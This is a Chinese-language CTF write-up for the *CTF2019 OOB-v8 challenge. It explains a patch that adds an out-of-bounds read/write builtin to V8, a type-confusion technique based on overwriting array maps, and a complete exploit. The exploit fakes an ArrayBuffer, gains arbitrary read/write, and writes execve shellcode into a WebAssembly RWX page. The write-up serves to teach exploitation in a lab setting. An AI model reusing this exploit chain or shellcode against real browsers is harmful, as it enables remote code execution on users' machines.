*CTF2019 OOB-v8

一道非常适合入门v8的题目,通过oob改写map从而达到Type Confusion。


环境准备

git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../Chrome/oob.diff
./tools/dev/v8gen.py x64.release 
ninja -C ./out.gn/x64.release d8
./tools/dev/v8gen.py x64.debug 
ninja -C ./out.gn/x64.debug d8

包含oob.diff的文件可以在这里下载到。

漏洞分析

Patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);//获得Array
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());//获得Array的elements
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());//获得元素长度
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));//read(arr[length])
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());//write(value into arr[length])
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

可以看到Patch给Array对象添加了一个oob方法。具体实现在builtins-array.cc中。
我们可以很容易的看出来发生了越界访问。

elements后面是什么

上面产生的越界访问的是紧跟在最后一个element后面的,所以我们要了解elements后面跟的是什么。
进d8测试一下,我们输入:

d8> var a = [1.1,1.2,1.3]
d8> %DebugPrint(a)

可以看到布局

pwndbg> job 0x30550308dd91
0x30550308dd91: [JSArray]
 - map: 0x39f350142ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x2cdec6cd1111 <JSArray[0]>
 - elements: 0x30550308dd69 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x26783ca40c71 <FixedArray[0]> {
    #length: 0x0ed7075801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x30550308dd69 <FixedDoubleArray[3]> {
           0: 1.1
           1: 1.2
           2: 1.3
 }
pwndbg> x/12gx 0x30550308dd69-1
0x30550308dd68:    0x000026783ca414f9    0x0000000300000000
0x30550308dd78:    0x3ff199999999999a    0x3ff3333333333333
0x30550308dd88:    0x3ff4cccccccccccd    0x000039f350142ed9
0x30550308dd98:    0x000026783ca40c71    0x000030550308dd69
0x30550308dda8:    0x0000000300000000    0x000026783ca40941
0x30550308ddb8:    0x00000adcba16a5aa    0x6974636e7566280a

elements是在JSArray的map前并且相邻的。
所以布局应该如下图所示(抄Hpasserby师傅的图)

Elements--->+-------------+
            |  MAP        +<------+
            +-------------+       |
            |  Length     |       |
            +-------------+       |
            |  element#1  |       |
            +-------------+       |
            |  element#2  |       |
            +-------------+       |
            |     ...     |       |
            +-------------+       |
            |  element#N  |       |
 JSArray--->--------------+       |
            |  MAP        |       |
            +-------------+       |
            |  Properties |       |
            +-------------+       |
            |  Elements   +-------+
            +-------------+
            |  Length     |
            +-------------+
            |     ...     |
            +-------------+

在别人的文章里提到,并不是所有时候Elements紧紧邻着JSArray。
而通过splice(0)可以使其相邻。(发现slice(0)好像也可以)

d8> var a = [1.1,1.2,1.3].splice(0)
d8> var b = [1.1,1.2,1.3].slice(0)

Type Confusion

v8中对象的map描述对象的结构,如果能够修改map,那么就可以以新的map的类型取解析原本的对象数据。
例如,有一个存放对象的Array,有一个存放浮点数的Array,如果可以修改存放对象的Array的map为存放浮点数的Array的map,则可以把其中的对象(地址)当成浮点数读出来。

漏洞利用

整体思路

总的来说是要往WASM的RWX区域写入shellcode。
所以我们要获得任意地址写的能力。

  • 首先创建一个fake_arraybuffer,并在其elements的一段伪造一个fake_map。
  • 创建一个浮点数数组和一个存储对象的数组(浮点数数组用于提取其map并赋值给对象数组的map以泄露对象地址)。
  • 通过oob方法泄露double_map和obj_map,并把obj_map覆盖为double_map。
  • 从obj中读出fake_arraybuffer的地址,并计算出其elements的地址和伪造的fake_map的地址。
  • 将elements地址写入obj数组,相当于写入了一个ArrayBuffer,还原obj的map为obj_map。
  • 通过DataView取出fake_arraybuffer,由于fake_arraybuffer是伪造的,可以随意修改backingstore区域。
  • 把RWX地址的存放地址放入fake_arraybuffer[4],getFloat64读取,其值便为RWX地址。
  • 把RWX地址写入fake_arraybuffer[4],再往DataView生成的fake_obj里面写shellcode就行。

WASM中RWX地址

试了几次v8的调试,该RWX地址通常与wasmInstance有固定的偏移。
WASM部分相关代码可以在这里找到。

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
%DebugPrint(wasmInstance);
readline();
`

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0x377c7238000      0x377c7240000 rw-p     8000 0      
     0xb0459440000      0xb0459480000 rw-p    40000 0      
     0xc6f0f0fc000      0xc6f0f0fd000 rwxp     1000 0 

通过vmmap查出一片可执行区域。

pwndbg> search -8 0xc6f0f0fc000
                0x139a76e1f930 0xc6f0f0fc000
[heap]          0x5575a45c9fe0 0xc6f0f0fc000
[heap]          0x5575a45d72a8 0xc6f0f0fc000
[heap]          0x5575a45d7300 0xc6f0f0fc000
[heap]          0x5575a45d7450 0xc6f0f0fc000

查看一下0x139a76e1f930

pwndbg> p/x 0x139a76e1f930- 0x139a76e1f8a8
$1 = 0x88

发现该区域距离wasmInstance有0x88的偏移。

Exploit

懒得写就抄作业

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var tC = new typeConvert();

function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;

var fake_arraybuffer = [
//map|properties
tC.u2f(0x0),
tC.u2f(0x0),
//elements|length
tC.u2f(0x0),
tC.u2f(0x1000),
//backingstore|0x2
tC.u2f(0x0),
tC.u2f(0x2),
//padding
tC.u2f(0x0),
tC.u2f(0x0),
//fake map
tC.u2f(0x0),
tC.u2f(0x1900042319080808),
tC.u2f(0x00000000082003ff),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0)
].slice(0);

var ab = new ArrayBuffer(0x1000).slice(0);
var obj = [wasmInstance, fake_arraybuffer, ab].slice(0);
var buf = [1.1, 2.2, 3.3].slice(0);

obj_map = tC.f2u(obj.oob());
console.log("[*]obj_map addr -> "+hex(obj_map));
buf_map = tC.f2u(buf.oob());
console.log("[*]buf_map addr -> "+hex(buf_map));

obj.oob(tC.u2f(buf_map)); //将obj数组的map改为double map

wasm_inst_addr = tC.f2u(obj[0]) - 1; //读取wasm_instance的地址
rwx_area_addr = wasm_inst_addr + 0x88 //获取rwx地址的存放地址
console.log("[*]RWX_area_addr -> "+hex(rwx_area_addr));

fake_ab_addr = tC.f2u(obj[1]) - 1; //读取fake_arraybuffer的地址
console.log("[*]fake_ab_addr -> "+hex(fake_ab_addr));
fake_obj_addr = fake_ab_addr - 0x80; //获取fake_arraybuffer的elements的地址
fake_obj_map = fake_ab_addr - 0x40; //获取伪造的map地址

fake_arraybuffer[0] = tC.u2f(fake_obj_map + 1); //将伪造的map填入
fake_arraybuffer[4] = tC.u2f(rwx_area_addr); //将rwx地址的存放地址填入backingStore

obj[2] = tC.u2f(fake_obj_addr + 1); //将elements地址写入obj数组
obj.oob(tC.u2f(obj_map)); //恢复obj数组的map

fake_obj = new DataView(obj[2]); //将伪造的ArrayBuffer取出

rwx_area = tC.f2u(fake_obj.getFloat64(0, true));
console.log("[*]rwx_area -> " + hex(rwx_area)); //读取rwx空间的地址

fake_arraybuffer[4] = tC.u2f(rwx_area);
shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

//shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
for (i = 0; i < shellcode.length; i++){
fake_obj.setUint8(i , shellcode[i], true);
}
wasmFunc();
`

别人家弹的计算器
000
自己弹的计算器
001
有一说一这个Xcalc还是比gnome-calculator好看一点。

参考链接

*CTF2019 OOB-v8 writeup
star ctf chrome oob writeup